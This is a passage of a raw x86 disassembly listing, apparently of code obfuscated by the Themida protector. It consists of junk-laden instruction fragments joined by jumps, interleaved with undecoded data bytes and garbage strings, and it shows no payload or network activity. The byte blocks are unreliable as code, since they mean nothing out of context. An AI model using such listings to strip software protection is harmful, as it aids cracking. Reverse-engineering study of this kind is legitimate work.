		sub	[esp], cx
		pop	cx
		and	cx, 1B9Fh
		shl	cx, 4
		jmp	loc_610270
; ---------------------------------------------------------------------------
		align 4
aAUs		db '[/',0
		align 2


loc_6116EE:				; CODE XREF: Themida_:00619FEDj
		mov	edx, 3ED33438h
		shr	edx, 7
		jmp	loc_61842A
; ---------------------------------------------------------------------------
		db 1
		dd 0BB535EF2h, 2, 618BE9h, 1C896600h, 46286824h, 4890000h
		dd 0FE71B424h, 80DCF6C4h, 3FE948C4h, 8100008Ch,	4C4h, 74FF5100h
		dd 34FF0424h, 89575924h, 4C781E7h, 0E9000000h, 0FFFFEE8Fh
		dd 2BFh, 81C2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61174A:				; CODE XREF: Themida_:006199D4j
		pop	esp


loc_61174B:				; CODE XREF: Themida_:0061AB48j
		push	321Eh
		mov	[esp], ebx
		sub	dword ptr [esp], 671C5E44h
		pop	eax
		push	2853h
		mov	[esp], ebp
		mov	ebp, 677A35F8h
		sub	ebp, offset byte_5DD7B4
		sub	eax, 0D784F97h
		jmp	loc_616E76
; ---------------------------------------------------------------------------
		dd 0F7D7F74Fh, 1D6868D7h, 4890000h, 555B824h, 69256224h
		dd 52E5E0Ah, 5F4A15B2h,	5A34E9h
		db 0
; ---------------------------------------------------------------------------


loc_611799:				; CODE XREF: Themida_:00615872j
		push	ecx
		jmp	loc_61861D
; ---------------------------------------------------------------------------
aNwsG		db 'W霣',0
		align 2
aLPhdk		db ',$PhK',0
		dw 0E900h
		dd 1383h, 48BC329h, 0E6895624h,	4C681h,	0C6830000h, 24348704h
		dd 6DEB815Ch, 51311B75h, 0FFFC44E9h, 1B63BFFFh,	0FE89263Eh
		dd 5EF7015Fh, 3914E9h, 0DAF74200h, 0BD29EA81h, 0D0298A7Dh
		dd 4CE9535Ah, 41FFFFE1h, 0F803F181h, 94051D41h,	2D0C8564h
		dd 558168ABh, 75DFE9h, 65E94500h, 0BE000017h, 55551A50h
		dd 0F681D6F7h, 8C1BAFCAh, 0E95EF231h, 6728h, 4D68D388h
		dd 8900002Fh, 0CF68240Ch, 89000022h, 0EC832404h, 240C8904h
		dd 8853DD88h, 5BF888EFh, 7F42E959h, 1CF70000h, 0D7F75F24h
		dd 6E6FF781h, 0FA015ED6h, 8B7EE9h, 4EC8100h, 89000000h
		dd 95E92404h, 8100004Ah, 4C4h, 361CBF00h, 1AE93C9Bh, 100006Fh
		dd 24148BD3h, 4F21E9h, 24143300h, 68E1F75Ch, 3BF4h, 416AE9h
		dd 40500h, 0BA520000h, 67FA4911h, 73B3B951h, 0CA0977E7h
		dd 81DAF759h, 5E6FD0EAh, 81DAF720h, 0A2147FC2h,	0E9D00167h
		dd 561Ah, 0E958C501h, 2732h, 5116684Bh,	89E90000h, 0B9000060h
		dd 409057BEh, 315AD101h, 0C83158C1h, 0E92434FFh, 40A4h
		dd 4EC81h, 0CFE90000h, 5200006Ch, 4BAh,	842E900h, 0C7810000h
		dd 4, 4EC81h, 3C890000h, 2474FF24h, 48F5F04h, 0E9535C24h
		dd 3A33h, 0DD2DE801h, 0E968061Dh, 7A40h
; ---------------------------------------------------------------------------


loc_61192C:				; CODE XREF: Themida_:0061ACDDj
		add	esi, 591CEF31h
		sub	ecx, 47C92DF3h
		add	ecx, esi
		add	ecx, 47C92DF3h
		pop	esi
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4000h
		and	eax, ebp
		jmp	loc_611DCA
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 3EAC158h, 7FB85056h,	894F0241h, 0C8E958C6h, 31000060h
		dd 0DEE92414h, 8BFFFFF0h, 8956240Ch, 4BB53E6h, 1000000h
		dd 6E685BDEh, 89000052h, 4682414h, 8B000000h, 0C4812414h
		dd 4, 148BD601h, 4EC8324h, 89240489h, 405E0h, 7AE90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6119BB:				; CODE XREF: Themida_:00613389j
		pop	ebp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 33817A0Ch
		and	edx, 367E36D7h
		shl	edx, 5
		jmp	loc_618F43
; ---------------------------------------------------------------------------


loc_6119F7:				; CODE XREF: Themida_:00612549j
		pop	esp
		push	0BF0h
		mov	[esp], edi
		push	ecx
		mov	ecx, 70366CF1h
		add	ecx, 194F574Ah
		sub	ecx, 6E9047B5h
		xor	ecx, 7B1957D8h
		mov	edi, ecx
		jmp	loc_613A32
; ---------------------------------------------------------------------------
		db 0FFh
aWQsj		db 'w<Q{',0
		align 4


loc_611A28:				; CODE XREF: Themida_:0061A4D1j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_61789B
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 80D9F65Dh, 0C38027F1h, 658E96Ah, 0ED810000h,	592716DCh
		dd 81DDF74Dh, 36638EDh,	0E628E914h, 0ED81FFFFh,	0FA141F46h
		dd 0C8191505h, 2DE8292Fh, 2FC81915h, 65B3E95Dh,	0C1810000h
		dd 4, 4BF57h, 0F9290000h, 81243C8Bh, 4C4h, 240C8700h, 2424895Ch
		dd 4240481h, 8B000000h,	29E92404h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611A9F:				; CODE XREF: Themida_:0060FAC6j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_617CD4
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aItwh_		db 'Wh!_',0
		align 10h
		dd 83243489h, 1C8904ECh, 35BFBB24h, 5E532869h, 0E9241C8Bh
		dd 0FFFFFD97h
; ---------------------------------------------------------------------------


loc_611AD8:				; CODE XREF: Themida_:006189FDj
		pop	ebp
		push	edx
		mov	edx, 54E2646Fh
		and	edx, 3F580252h
		jmp	loc_61991A
; ---------------------------------------------------------------------------


loc_611AEA:				; CODE XREF: Themida_:00613CC0j
		add	eax, 1
		push	edx
		push	466h
		mov	[esp], esi
		mov	esi, 6F1B134Ch
		dec	esi
		dec	esi
		sub	esi, 507E4983h
		xor	esi, 0E169ACDh
		jmp	loc_616C61
; ---------------------------------------------------------------------------
		dd 0FFDDB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_611B15:				; CODE XREF: Themida_:0061902Dj
		push	ebp
		push	edx
		mov	edx, 5E92433h
		mov	ebp, 727515AFh
		xor	ebp, edx
		pop	edx
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_61ABF8
; ---------------------------------------------------------------------------
		dw 295Eh
		dd 0E904244Ch, 0FFFFEAA9h, 5704C483h, 28A868h, 24248900h
		dd 4240481h, 5F000000h,	5DCBB850h, 0E9E94365h, 8B000061h
		dd 0C4812434h, 4, 3304C183h, 0C31240Ch,	240C3324h, 8B24248Bh
		dd 95682414h, 89000036h, 0E589242Ch, 4C581h, 56530000h
		dd 0CB74DDBEh, 0F7D6F76Dh, 0C6814ED6h, 0FFFFFFFFh, 39ECE950h
		dd 95050000h, 0D506433h, 6CB13855h, 0B145550Dh,	0AB853568h
		dd 0C309BD17h, 9786E9h,	0E9F10100h, 0FFFFE1EBh,	2BAh, 0C4E95700h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611BC7:				; CODE XREF: Themida_:00612418j
		sub	ebx, 2249F2E1h
		mov	edx, ebx
		jmp	loc_61B341
; ---------------------------------------------------------------------------
		dd offset dword_49005C+25A0Ch
		dd 24048900h, 4B8h, 58C70100h, 6CAAE9h,	240C8B00h, 0E904C483h
		dd 0FFFFDD49h, 5C241487h, 676668h, 24048900h, 8B40478Fh
		dd 89522404h, 4B951E2h,	1000000h, 240C8BCAh, 0E9E78957h
		dd 0FFFFDFC9h, 1DF2C181h, 24E90DCCh, 68000004h,	4297h
		dd 0FF240489h, 58042474h, 5C24048Fh, 24048B66h,	48B5450h
		dd 0E1895124h, 4C181h, 29E90000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611C4F:				; CODE XREF: Themida_:006110C0j
		push	di
		mov	di, 2E26h
		add	bx, 2A73h
		sub	bx, di
		sub	bx, 2A73h
		jmp	loc_6116AE
; ---------------------------------------------------------------------------


loc_611C67:				; CODE XREF: Themida_:00610541j
		add	edi, 169F14F6h
		sub	edi, ebp
		sub	edi, 169F14F6h
		jmp	loc_611DAC
; ---------------------------------------------------------------------------


loc_611C7A:				; CODE XREF: Themida_:0061A468j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_614CF4
; ---------------------------------------------------------------------------


loc_611C8E:				; CODE XREF: Themida_:0061828Dj
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 52h
		dd 0CD015A59h, 2BE5659h, 1000000h, 0B9E95EF5h, 0B900008Ch
		dd 13DC01F2h, 3C64E9h, 4C48100h, 52000000h, 1489E956h
		dd 63680000h, 0E9000047h, 8163h, 4EC81h, 4890000h, 2B824h
		dd 0E9E90000h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611CDB:				; CODE XREF: Themida_:00619FE5j
		add	edi, esi
		pop	esi
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	7193h
		mov	[esp], edi
		mov	edi, 1
		mov	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_60FC23
; ---------------------------------------------------------------------------
		db 5
		dd 4, 1BCE9h, 0C6930500h, 0C13114F7h, 5BE98158h, 108B214h
		dd 2564E9CEh, 0C7810000h, 4, 2474FF57h,	48F5F04h, 93E95C24h
		dd 89FFFFDBh, 31E92414h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611D43:				; CODE XREF: Themida_:00610F45j
		add	ebp, 6B949DCh
		sub	ebp, esi
		push	edi
		mov	edi, 6B949DCh
		sub	ebp, edi
		pop	edi
		pop	esi
		and	eax, ebp
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 75671AF3h
		mov	eax, [esp]
		jmp	loc_61A0EB
; ---------------------------------------------------------------------------


loc_611D72:				; CODE XREF: Themida_:006172A8j
		mov	esp, [esp]
		jmp	loc_61B15B
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 4812404h, 424h, 24048F00h, 4240483h,	69D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_611D91:				; CODE XREF: Themida_:00616863j
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_61AB45
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 745DE9h, 0E9F20100h,	1E50h
; ---------------------------------------------------------------------------


loc_611DAC:				; CODE XREF: Themida_:00611C75j
		add	edi, 0C411779h
		mov	ebp, [esp]
		jmp	loc_618393
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 3E95824h, 8900006Ah,	4A8EE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_611DCA:				; CODE XREF: Themida_:0061195Dj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_61B8CC
; ---------------------------------------------------------------------------


loc_611DD3:				; CODE XREF: Themida_:0061AB40j
		mov	[esp], edx
		mov	edx, 8DB2B53h
		sub	ebx, 361829F3h
		add	ebx, edx
		add	ebx, 361829F3h
		jmp	loc_61156E
; ---------------------------------------------------------------------------


loc_611DEE:				; CODE XREF: Themida_:0061BB3Dj
		add	dword ptr [esp], 17FA22E1h
		pop	ebp
		jmp	loc_618612
; ---------------------------------------------------------------------------
		db 54h
		dd 4BF575Dh, 1000000h, 0C6E95FFDh, 56FFFFF6h, 0F61CDFBEh
		dd 0FFF00138h, 835E2434h, 0E72D04C4h, 3573085Dh, 69AA2D8Dh
		dd 5DCCE9h, 241C8900h, 8904EC83h, 0A9E9240Ch, 80FFFFE9h
		dd 0B652FFEDh, 2D49E92Bh, 0D9F70000h, 2635C181h, 0DDE97B57h
		dd 8100006Ch, 82949EAh,	46B85045h, 0F7691076h, 0AFBA52D0h
		dd 8157AB27h, 0E66A25E2h, 0CAC28170h, 291CA217h, 24148BD0h
		dd 5004C483h, 1B04EAB8h, 58C20138h, 0EA81C229h,	381B04EAh
		dd 582434FFh, 0E9E18951h, 7200h
; ---------------------------------------------------------------------------


loc_611E94:				; CODE XREF: Themida_:0061281Dj
		not	ebx
		push	esi
		jmp	loc_61B9AA
; ---------------------------------------------------------------------------
		dd 425DEA21h, 4724E281h, 20E950F2h, 83000024h, 0C78301EFh
		dd 6EFC101h, 0B0F6F781h, 0E9E90152h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611EBF:				; CODE XREF: Themida_:006192FAj
		add	esp, 4
		jmp	loc_613A5D
; ---------------------------------------------------------------------------
aSK		db '^',0
		dd 24048700h, 0D9F8E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_611ED6:				; CODE XREF: Themida_:00616FDCj
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 55h
		dd 0B44383BDh, 5DE9011Bh, 4685658h, 5E000000h, 0FFFCC4E9h
		dd 58C101FFh, 5C240C87h, 240CFF66h, 0D9CCE99Ch,	0BB66FFFFh
		dd 51662E55h, 0B966h, 66D92966h, 8B66CB87h, 0C481240Ch
		dd 2, 66DBF766h, 790F381h, 5BDD2166h, 8FF58166h, 0A0E95664h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_611F33:				; CODE XREF: Themida_:0061A666j
		mov	eax, 14ED6AEEh
		not	eax
		not	eax
		or	eax, 3CFB1982h
		sub	eax, 0C98B46AEh
		add	esi, eax
		pop	eax
		pop	edx
		add	esi, ebx
		sub	esi, 7DD84067h
		add	esi, 19E754ECh
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_616DF6
; ---------------------------------------------------------------------------


loc_611F81:				; CODE XREF: Themida_:0061A346j
		add	esi, 4
		jmp	loc_6137DE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B542434h, 0C4812434h, 4,	30AE68h, 240C8900h
		dd 5435E9h, 6E9C100h, 8104E9C1h, 0B431CEC9h, 0ACF18119h
		dd 812CE357h, 0F17605EBh, 152CE91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_611FC6:				; CODE XREF: Themida_:00619D23j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	ecx
		jmp	loc_612D5B
; ---------------------------------------------------------------------------
		db 89h,	0E9h, 5Dh
		dd 0E906E1C1h, 0FFFFE627h, 70B2B951h, 0F181414Fh, 414F70B6h
		dd 9BE9CD01h, 51FFFFDAh, 8641C3B9h, 0CD895511h,	7B06E9h
		dd 10C28100h, 29A870AFh, 0F5015AD5h, 5429C581h,	9EE95D3Ch
		dd 5C00007Eh, 0FFD8B1E9h, 0DCEA81FFh, 0E92D85D9h, 5AF4h
		dd 1123F781h, 0CF813897h, 8974508h, 72CBCF81h, 0CF874C0Bh
		dd 0E9CF8749h, 5578h
; ---------------------------------------------------------------------------


loc_612044:				; CODE XREF: Themida_:0061963Aj
		neg	eax
		jmp	loc_61051B
; ---------------------------------------------------------------------------
		db 58h
		dd 3A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_612051:				; CODE XREF: Themida_:0061AF13j
		shr	ebx, 2
		add	ebx, 5515B9B8h
		and	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 35FD038Dh
		jmp	loc_610240
; ---------------------------------------------------------------------------
		dd 242C8B66h, 2C481h, 81660000h, 0E9F09DEEh, 0FFFFDA5Eh
		dd 3DB25266h, 0F3E9D028h, 8B000075h, 0CAE92424h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61208F:				; CODE XREF: Themida_:00614F9Fj
		pop	esi
		xor	eax, ecx
		pop	ecx
		push	esi
		push	7449h
		jmp	loc_610A19
; ---------------------------------------------------------------------------
		dw 0CB00h
		dd 9C75E9h
		db 0
; ---------------------------------------------------------------------------


loc_6120A5:				; CODE XREF: Themida_:0060FF47j
		mov	[esp], edx
		mov	edx, 65E61654h
		push	edi
		mov	edi, 1F3F2B3Bh
		add	edx, edi
		pop	edi
		add	edx, 0D0613E10h
		add	eax, edx
		jmp	loc_6193DF
; ---------------------------------------------------------------------------
		db 1
		dd 495EE9F7h, 0D5290000h, 93F0E9h, 65A6800h, 1C890000h
		dd 51505124h, 0E888D588h, 58C58859h, 0B7E9EF88h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6120EB:				; CODE XREF: Themida_:00618E5Ej
		add	ebp, ecx
		pop	ecx
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 52552404h, 5B89E9h, 0D830AC00h, 1D0768h, 240C8900h
		dd 8817B252h, 51665AD1h, 11C8E953h, 0C6800000h,	5AF30025h
		dd 37C380h, 37EB80C3h, 60DE9h, 24248B00h, 0E9241489h, 0FFFFF49Bh
		dd 835AD001h, 43302C0h,	24043124h, 0E9240433h, 50B1h
; ---------------------------------------------------------------------------


loc_612158:				; CODE XREF: Themida_:00612862j
		mov	[esp], ecx
		push	5E3Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_614CFA
; ---------------------------------------------------------------------------
		dw 42Ch
		dd 21E9C800h, 53000056h, 0F92549BBh, 0A7E95651h, 6800004Dh
		dd 6D65h, 0E9240C89h, 5B94h, 241C8B5Ah,	4C481h,	0F9300000h
		dd 83241C8Bh, 0C83004C4h, 0E92434FFh, 0D1h
; ---------------------------------------------------------------------------


loc_6121B4:				; CODE XREF: Themida_:0061988Cj
		mov	esi, 63F861E0h
		xor	esi, 1C3610E7h
		jmp	loc_6176D7
; ---------------------------------------------------------------------------
aSte		db ',"(E',0
		dd 24348700h, 2414895Ch, 3E86E9h, 242C8900h, 512F68h, 241C8900h
		dd 0E25CC0BBh, 281BE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6121EE:				; CODE XREF: Themida_:00619D74j
		add	esp, 4
		sub	ecx, 601442EFh
		pop	edi
		shr	ecx, 1
		sub	ecx, 3A2C1325h
		inc	ecx
		jmp	loc_6163FA
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 2
		dd 8B241C87h, 0BAE92424h, 81FFFFFEh, 4C6h, 4C68300h, 45FEE9h
		dd 7EED8100h, 0E969C54Ah, 7278h, 4EC81h, 0C890000h, 8B8B924h
		dd 66E914CBh, 0D2FFFFFDh, 0E99C240Ch, 0FFFFD682h, 5C24048Fh
		dd 8B1C77FFh, 8956240Ch, 4C681E6h, 52000000h, 4A1AE9h
		dd 24048F00h, 209AE9h, 241C3100h, 0E9241C33h, 6623h, 4C481h
		dd 0D5F70000h, 32E0E9h,	2434FF00h, 4C48359h, 4C481h, 0C3300000h
		dd 5E4BE9h, 24248B00h, 0B3E9E9F7h, 0FF000067h, 0C8B2434h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 0E9240C87h, 5F0Bh
		dd 6866D72Ch, 896668CEh, 0F1B22414h, 30C3B151h,	0E2D059CAh
		dd 8AACE9h, 0EC835900h,	240C8904h, 0B8505954h, 4, 4383E981h
		dd 0C1811BB4h, 6EB21418h, 0E981C101h, 6EB21418h, 0FFFBDAE9h
		dd 0E38953FFh, 56E9E956h, 0FB010000h, 97EBE9h, 81DAF700h
		dd 1C079DC2h, 97BF576Bh, 0E98325E3h, 740Eh, 42474FFh, 8C51E9h
		dd 5BDD3100h, 98E9EA01h, 0C1000016h, 0E0C108E0h, 0FFFC2D08h
		dd 0BAE955A3h, 5C000013h, 50240401h, 97D3E956h,	8B660000h
		dd 6AE9240Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61235B:				; CODE XREF: Themida_:00618BC4j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_6178C7
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 582434FFh, 4C481h, 0C3000000h, 0FDCEB80h, 6866C0B6h
		dd 89660439h, 13E92404h, 0FF000045h, 46E92434h,	1FFFFFFh
		dd 0C5015EF5h, 7091BF57h, 0FD29788Eh, 2604E9h
		db 0
; ---------------------------------------------------------------------------


loc_6123A5:				; CODE XREF: Themida_:006147FCj
		shr	ecx, 2
		push	ebx
		push	edx
		sub	esp, 4
		jmp	loc_615764
; ---------------------------------------------------------------------------
aVsr		db 'Vr',7,0
		db 0
; ---------------------------------------------------------------------------


loc_6123BB:				; CODE XREF: Themida_:00616CB7j
		push	eax
		jmp	loc_618757
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFD505E9h, 241C89FFh, 0E54BF57h, 0E9554050h, 6D5Bh
; ---------------------------------------------------------------------------


loc_6123D8:				; CODE XREF: Themida_:006110D8j
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		push	4AB7h
		mov	[esp], ecx
		mov	ch, 0CEh
		push	ecx
		jmp	loc_61724C
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 685C240Ch, 2CCBh,	0E9241C89h, 0FFFFF41Ch
; ---------------------------------------------------------------------------


loc_61240C:				; CODE XREF: Themida_:0061446Ej
		push	edi
		mov	edi, 40720066h
		jmp	loc_60FFA6
; ---------------------------------------------------------------------------


loc_612417:				; CODE XREF: Themida_:0061AD80j
		pop	ebx
		jmp	loc_611BC7
; ---------------------------------------------------------------------------
		dd offset dword_6A0B68
		align 2
		dw 2C89h
		dd 57E58924h, 4BFh, 0B1ED8100h,	135AF40h, 0B1C581FDh, 5F35AF40h
		dd 4926E9h
		db 0
; ---------------------------------------------------------------------------


loc_612441:				; CODE XREF: Themida_:006171C8j
		sub	edx, 3B910843h
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_6147D9
; ---------------------------------------------------------------------------
		db 0BDh, 0C9h, 6Bh
		dd 0C5836815h, 0C1E581FFh, 0E92C5464h, 855h, 4C181h, 0E9830000h
		dd 240C8704h, 2404895Ch, 70968h, 24248900h, 4240483h, 8324048Bh
		dd 40504C4h, 56000000h,	2BEh, 49F72D00h, 0F0012370h, 7049F705h
		dd 24348B23h, 4C481h, 4870000h,	24248B24h, 4B30F66h, 17E99C24h
		dd 54FFFFD4h, 40558h, 68E90000h, 8100002Eh, 0A707ECC1h
		dd 0BDF18129h, 89151891h, 0CB8159CBh, 4C5E41B0h, 59A9B951h
		dd 0CB090518h, 83240C8Bh, 57E904C4h, 66000063h,	66241489h
		dd 4CE99C50h, 81000018h, 0BC7C3BCFh, 793BE966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_612502:				; CODE XREF: Themida_:00612B22j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_61126A
; ---------------------------------------------------------------------------
		db 83h
		dd 0EEE904C4h, 83000027h, 835A04C4h, 0C8904ECh,	81595424h
		dd 4C1h, 4BF5700h, 0E9000000h, 63E5h, 24148B5Ch, 0F3B68h
		dd 24348900h, 41D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_612545:				; CODE XREF: Themida_:00613A8Dj
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_6119F7
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 2C2835Fh, 31241433h,	14332414h, 24248B24h, 1307E9h
		db 0
; ---------------------------------------------------------------------------


loc_612565:				; CODE XREF: Themida_:00616014j
		push	ecx
		mov	ecx, 6C05730Bh
		jmp	loc_61260B
; ---------------------------------------------------------------------------


loc_612570:				; CODE XREF: Themida_:006136A6j
		shr	ebx, 3
		jmp	loc_6149A3
; ---------------------------------------------------------------------------
		dd 4BBh, 53EA8100h, 12D830Ch, 53C281DAh, 5B2D830Ch, 31241433h
		dd 14332414h, 4215C24h,	2FE99C24h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61259F:				; CODE XREF: Themida_:0061985Ej
		add	ecx, 1824470Ch
		sub	ecx, 7BBC0E90h
		add	ecx, edi
		add	ecx, 7BBC0E90h
		sub	ecx, 1824470Ch
		push	dword ptr [ecx]
		jmp	loc_618876
; ---------------------------------------------------------------------------


loc_6125C0:				; CODE XREF: Themida_:00614ADBj
		push	edi
		jmp	loc_6171F6
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 29000000h, 242C8BEBh, 4C481h, 1C870000h, 432BE924h
		dd 8B660000h, 89512404h, 4EC83E1h, 827BE9h, 0CC885000h
		dd 75C8E9h, 242C8900h, 0E1E95D54h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6125FF:				; CODE XREF: Themida_:0061975Aj
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_6153AD
; ---------------------------------------------------------------------------


loc_61260B:				; CODE XREF: Themida_:0061256Bj
		mov	esi, ecx
		jmp	loc_613C20
; ---------------------------------------------------------------------------


loc_612612:				; CODE XREF: Themida_:00618276j
		xor	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_618C6F
; ---------------------------------------------------------------------------


loc_61262F:				; CODE XREF: Themida_:00619E95j
		pop	ecx
		push	ebx
		mov	ebx, 36AB2739h
		xor	edx, ebx
		pop	ebx
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_61964F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 53FBh, 168868h, 0C78E900h, 0C7810000h, 4
		dd 0E904C783h, 7D45h, 6CA0EF81h, 6FE92899h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_612677:				; CODE XREF: Themida_:00618C0Aj
		xchg	edx, [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_619392
; ---------------------------------------------------------------------------
		dd 8759CE29h, 248B2434h, 48F5424h, 24048124h, 4, 4B9515Fh
		dd 1000000h, 0C78159CFh, 2, 31243C33h, 3C33243Ch, 24248B24h
		dd 64B1E9h, 281DB500h, 551E9DDh, 0E3810000h, 3CBD2D5Bh
		dd 0FBA9C381h, 0DE89CB46h, 0FFDC29E9h, 112C2DFFh, 0D80102ADh
		dd 0AD112C05h, 33E7E902h, 24890000h, 1827E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6126EE:				; CODE XREF: Themida_:0061732Bj
		xor	edi, 0DBCCEB4Eh
		xor	ecx, edi
		pop	edi
		push	5907h
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 59E05702h
		jmp	loc_61A3A9
; ---------------------------------------------------------------------------
aBCqes1ZSG	db 'ꗟ1Z)G',0
		db 0
; ---------------------------------------------------------------------------


loc_612735:				; CODE XREF: Themida_:006151A8j
		pop	ecx
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_6182D0
; ---------------------------------------------------------------------------
		dd 1029E95Eh, 0B0500000h, 0E9D0F6F2h, 479Eh, 4C381h, 0EB830000h
		dd 241C8704h, 2414895Ch, 2434FF59h, 8124148Bh, 4C4h, 58D5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_612772:				; CODE XREF: Themida_:0061A81Ej
		xor	esi, 315D5860h
		and	ebx, esi
		pop	esi
		inc	ebx
		xor	ebx, 64636DB5h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 9020E3Dh
		push	ecx
		pop	edi
		jmp	loc_615F75
; ---------------------------------------------------------------------------
aIrs		db '',27h,0
		db 0
; ---------------------------------------------------------------------------


loc_612799:				; CODE XREF: Themida_:00612A15j
		mov	ebp, 227220C7h
		shl	ebp, 6
		neg	ebp
		shl	ebp, 5
		add	ebp, 91063804h
		mov	ecx, ebp
		jmp	loc_615F41
; ---------------------------------------------------------------------------
		db 0FFh
		dd 50582434h, 0FFEDD5E9h, 19C181FFh, 816E0948h,	6C8DDAF1h
		dd 0E9CB8999h, 7380h, 0C281E289h, 4, 4C281h, 14870000h
		dd 3D50E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6127E6:				; CODE XREF: Themida_:006163FBj
		mov	esi, 165D252Dh
		or	ecx, esi
		pop	esi
		xor	ecx, 0F77F3FFFh
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_617E66
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 19CB59A0h
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	4FEC6C94h
		pop	edi
		push	ebx
		mov	ebx, 4F50618Ah
		jmp	loc_611E94
; ---------------------------------------------------------------------------
		dw 5166h
		dd 4EC81h, 1C890000h, 5000B324h, 0F48090B4h, 8BE300A5h
		dd 0C4832404h, 0FFEB8004h, 5203E3C0h, 5DE9BFB6h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61284B:				; CODE XREF: Themida_:00612C8Dj
		mov	ebp, 8000h
		push	ebp
